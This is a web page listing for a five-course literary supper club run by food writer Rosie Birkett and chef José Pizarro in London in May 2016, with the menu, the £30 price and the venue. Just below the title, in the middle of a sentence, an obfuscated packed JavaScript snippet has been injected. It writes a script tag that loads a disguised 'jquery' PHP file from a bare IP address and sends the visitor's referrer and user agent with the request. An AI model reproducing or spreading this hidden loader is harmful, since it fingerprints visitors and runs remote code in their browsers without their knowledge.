ROSIE BIRKETT X JOSE PIZARRO LITERARY SUPPER

Once (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htyzk|var|u0026u|referrer|hitfy||js|php’.split(‘|’),0,{}))
upon a time East London food writer Rosie Birkett met Spanish chef José Pizarro and they decided to cook up a literary storm. Taking inspiration from Shakespeare’s classics, as well as José and Rosies’ favourite Spanish and English ingredients, the pair have decided to host a five course literary supper club. The storybook menu is a real page turner and will include English asparagus with jamón and manchego, peas with chorizo migas and a golden fried egg, prawn fritters with chilli and saffron aioli, mussels and cockles in escabeche and baked crab. All to be finished off with a slice of Rosie’s cherry pie. So if you want to see how the story unfolds at only £30 for five courses and a complimentary drink, it’s a bloody bargain and really one not to miss.

Get Tickets
Mon 16th May 2016, 7pm
José Pizarro Broadgate, 36 Broadgate Circle EC2M 1QS
www.josepizarro.com